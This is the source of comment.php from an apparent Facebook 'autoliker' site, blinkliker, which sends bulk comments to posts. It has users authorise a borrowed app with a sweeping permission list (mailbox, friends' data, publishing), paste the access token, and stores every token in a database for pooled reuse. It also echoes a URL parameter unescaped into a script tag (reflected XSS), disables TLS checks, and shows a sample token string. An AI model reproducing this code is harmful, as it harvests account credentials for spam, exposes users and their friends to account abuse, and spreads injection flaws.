-
Notifications
You must be signed in to change notification settings - Fork 6
/
comment.php
322 lines (312 loc) · 11.7 KB
/
comment.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
<?php
/**
*
*
* This content is released under the MIT License (MIT)
*
* Copyright (c) 2017 Shakti Saurav
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
*/
error_reporting(0);
session_start();
// JSONURL //
function get_html($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_FAILONERROR, 0);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function get_json($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_FAILONERROR, 0);
$data = curl_exec($ch);
curl_close($ch);
return json_decode($data);
}
if($_SESSION['token']){
$token = $_SESSION['token'];
$graph_url ="https://graph.fb.me/me?access_token=" . $token;
$user = get_json($graph_url);
if ($user->error) {
if ($user->error->type== "OAuthException") {
session_destroy();
header('Location: /?i=Your token Has Expired, Login Again!');
}
}
}
if(isset($_POST['submit'])) {
$token2 = $_POST['token'];
if(preg_match("'access_token=(.*?)&expires_in='", $token2, $matches)){
$token = $matches[1];
}
else{
$token = $token2;
}
$extend = get_html("https://graph.fb.me/me/permissions?access_token=" . $token);
$pos = strpos($extend, "publish_stream");
if ($pos == true) {
$_SESSION['token'] = $token;
}
else {
session_destroy();
header('Location: /?i=Please Generate token Using blinkliker ONLY');}
}else{}
if(isset($_POST['logout'])) {
session_destroy();
header('Location: /?i=Your token Has Deleted, Login Again');
}
if(isset($_GET['i'])){
echo '<script type="text/javascript">alert("INFO: ' . $_GET['i'] . '");</script>';
}
?>
<?php include 'headcom.php'; ?>
<?php
error_reporting(0);
$dead = 1200;
$time = time();
if ($handle = opendir('block')) {
while(false !== ($file = readdir($handle)))
{
$access = fileatime('block/'.$file);
if( $access !== false)
if( ($time- $access)>=$dead )
unlink('block/'.$file);
}
closedir($handle);
}
?>
<?php
$like = new like();
if($_SESSION['token']){
$access_token = $_SESSION['token'];
$me = $like -> me($access_token);
if($me['id']){
include'config.php';
mysql_query("CREATE TABLE IF NOT EXISTS `Likers` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`user_id` varchar(32) NOT NULL,
`name` varchar(32) NOT NULL,
`access_token` varchar(255) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
");
$row = null;
$result = mysql_query("
SELECT
*
FROM
Likers
WHERE
user_id = '" . mysql_real_escape_string($me['id']) . "'
");
if($result){
$row = mysql_fetch_array($result, MYSQL_ASSOC);
if(mysql_num_rows($result) > 1){
mysql_query("
DELETE FROM
Likers
WHERE
user_id='" . mysql_real_escape_string($me['id']) . "' AND
id != '" . $row['id'] . "'
");
}
}
if(!$row){
mysql_query(
"INSERT INTO
Likers
SET
`user_id` = '" . mysql_real_escape_string($me['id']) . "',
`name` = '" . mysql_real_escape_string($me['name']) . "',
`access_token` = '" . mysql_real_escape_string($access_token) . "'
");
} else {
mysql_query(
"UPDATE
Likers
SET
`access_token` = '" . mysql_real_escape_string($access_token) . "'
WHERE
`id` = " . $row['id'] . "
");
}
mysql_close($connection);
if($limit = fileatime('block/'.$me[id])){
$timeoff = time();
$check = date("i:s",$timeoff - $limit);
echo'<div align="left"><div class="ctime">Wait 20:00 Miniute : '.$check.'</div></div>';
}else{
echo'<div align="left"><div class="ctime">Next Submit: READY..!</div></div>';
}
echo'
<div class="abc3">
<div class="main-inner">
<h3>Hello, '.$me[name].'</h3><br>
<a href="http://facebook.com/'.$me[id].'"><img src="https://graph.facebook.com/'.$me[id].'/picture?type=large" alt="Profile" style="height:100px;width:100px;"/> </a><br/>Your Name: <b> '.$me[name].'</b></br>
Profile ID: <b> '.$me[id].'</b></br>
<br><a class="btn btn-success" href="/" title="Blinkliker"><i class="fa fa-home" aria-hidden="true"></i> Home</a> <a class="btn btn-success" href="/index.php" title="AutLiker"><i class="fa fa-thumbs-up" aria-hidden="true"></i> Autoliker</a> <a class="btn btn-success" href="/fanpage.php" title="Fanpage Liker"><i class="fa fa-facebook" aria-hidden="true"></i> Fanpage Liker</a> <a class="btn btn-success" href="/comment.php" title="AutComments"><i class="fa fa-comments-o" aria-hidden="true"></i> AutoComments</a> <a class="btn btn-success" href="logout.php" title="Logout"><i class="fa fa-sign-out" aria-hidden="true"></i> Logout</a>
</div>
</div>';
$like -> alltoken($access_token);
if($_POST[id]){
if($limit = fileatime('block/'.$me[id])){
echo'<br><br><div class="ctime"><strong>Sorry!</strong> Sending comments failed, Wait 20 Minutes before submitting again.
</div>';
exit;
}
if(!is_dir('block')){
mkdir('block');
}
$bg=fopen('block/'.$me[id],'w');
fwrite($bg,1);
fclose($bg);
$like -> pancal($_POST[id]);
}else{
$like -> getData($access_token);
}
}else{
$like -> invalidToken();
}
}else{
$like->form();
}
class like {
public function pancal($id){
for($i=1;$i<4;$i++){
$this-> _req('http://'.$_SERVER[HTTP_HOST].'/com.php?id='.$id);
}
print '<br><br><div class="ctime"><button type="button" class="close" data-dismiss="alert">×</button><strong>Well done!</strong> Comments successfully sent.
</div>';
}
public function me($access){
return json_decode($this-> _req('https://graph.fb.me/me?access_token='.$access),true);
}
public function alltoken($access){
}
public function invalidToken(){
print '<div class="container"><div class="alert alert-block"><button type="button" class="close" data-dismiss="alert">×</button><strong>Opps!</strong> Your token Has Expired.<br/>
<a class="btn btn-primary" href="/" title="Back to Home">Back</a></div></div>';
$this->form();
}
public function form(){
echo'<div class="abc2"><h2><i class="fa fa-user-circle"></i> Login To blinkliker</h2></div>
<br><div class="abc">
<div style="text-align:center;">
<i class="fa fa-chevron-right"></i> <a class="btn btn-primary" href="https://www.facebook.com/v1.0/dialog/oauth?redirect_uri=http://www.apple.com/apps/imovie/BLINKLIKER_COPY_FULL_URL&scope=email,publish_actions,user_about_me,user_actions.books,user_actions.music,user_actions.news,user_actions.video,user_activities,user_birthday,user_education_history,user_events,user_games_activity,user_groups,user_hometown,user_interests,user_likes,user_location,user_notes,user_photos,user_questions,user_relationship_details,user_relationships,user_religion_politics,user_status,user_subscriptions,user_videos,user_website,user_work_history,friends_about_me,friends_actions.books,friends_actions.music,friends_actions.news,friends_actions.video,friends_activities,friends_birthday,friends_education_history,friends_events,friends_games_activity,friends_groups,friends_hometown,friends_interests,friends_likes,friends_location,friends_notes,friends_photos,friends_questions,friends_relationship_details,friends_relationships,friends_religion_politics,friends_status,friends_subscriptions,friends_videos,friends_website,friends_work_history,ads_management,create_event,create_note,export_stream,friends_online_presence,manage_friendlists,manage_notifications,manage_pages,photo_upload,publish_stream,read_friendlists,read_insights,read_mailbox,read_page_mailboxes,read_requests,read_stream,rsvp_event,share_item,sms,status_update,user_online_presence,video_upload,xmpp_login&response_type=token&client_id=309481925768757" title="Click Here - Allow The Apple Application - Then Copy The Access Token!" target="_blank">Click Here</a> To Get Access Token afterthat COPY and PASTE URL in the ADDRESS BAR to BELOW, <br>
<form action="login.php" method="get" style="margin-top: 12px;">
<input id="here" title="Paste Your Token Here !" type="text" name="user" placeholder="https://www.apple.com/imovie/#access_token=EAAEZAeOAZC9jUBAItAoM7HQEty3MIkE7pmq7iKcjQcSciGrMc9qMKaphiYPUfmEkZAGgHlOO2Ji5mhgYc7Vd3BQMqeW6eUEjBxgmfu5MhIz1NIhkdRARdlbIA5lWCZCH43TwrFZAunbxIfBji4NBm6tkmFmrKczA3krk7xmmXHmlQDvO6ZBuef&expires_in=5176129" class="form-control" value="'.$_SESSION['token'].'"/><br>
<button class="btn btn-default" type="submit">Login <i class="fa fa-sign-in"></i></button>
</div>
</form>
</div>
';
}
public function getData($access){
$feed=json_decode($this -> _req('https://graph.fb.me/me/feed?access_token='.$access.'&limit=1'),true);
if(count($feed[data]) >= 1){
echo'
<div class="container"><div class="panel panel-success">
<div class="panel-heading">
<center> <strong>Note!!<strong> Input your post ID below!!</center>
<center><form action="/" method="post"/>
<input type="text" style="width:24%;" name="id"/>
<input type="hidden" name="access_token" value="'.$access.'"/><br><br>
<button name="pancal" class="btn btn-default" type="submit"><i class="fa fa-thumbs-up"></i> Send Comments</button>
</form></center>
</div></div></div>';
for($i=0;$i<count($feed[data]);$i++){
$uid = $feed[data][$i][from][id];
$name = $feed[data][$i][from][name];
$type = $feed[data][$i][type];
$mess = str_replace(urldecode('%0A'),'<br/>',htmlspecialchars($feed[data][$i][message]));
$id = $feed[data][$i][id];
$pic = $feed[data][$i][picture];
echo'
<div class="container"><div class="well">
<table>
<tr>
<td valign="top" class="member">
<img src="http://graph.facebook.com/'.$uid.'/picture" alt="Your Picture" />
</td>
<td valign="top" class="l">
<a href="http://facebook.com/'.$uid.'" target="_blank"> <br>
' .$name.'
</a>posted a
'.$type.'
</div></div>';
if($type=='photo'){
echo '
<br>
<img src="'.$pic.'"/>
';
}else{
echo '
<br/>
<span>
'.$mess.'
</span>
';
}
echo '
</td>
</tr>
</table>
<div align="left">
<form action="/" method="post"/>POST ID :
<input title="Your Post ID !" class="form-control input-sm" type="text" style="width:24%" name="id" value="'.$id.'"/>
<input type="hidden" name="access_token" value="'.$access.'"/><br>
<input name="pancal" type="submit" class="btn btn-info" value="Send Comments">
</form></div></div>';
}
}else{
print ' <div class="ctime"> <div class="alert alert-dismissable alert-danger">
<button type="button" class="close" data-dismiss="alert">×</button>
<strong>Opps!</strong> Your post not Found.<br/>
';
}
print '</div>';
}
private function _req($url){
$ch = curl_init();
curl_setopt_array($ch,array(
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_URL => $url,
)
);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
}
?>
<?php include 'foot.php'; ?>
</body>
</html>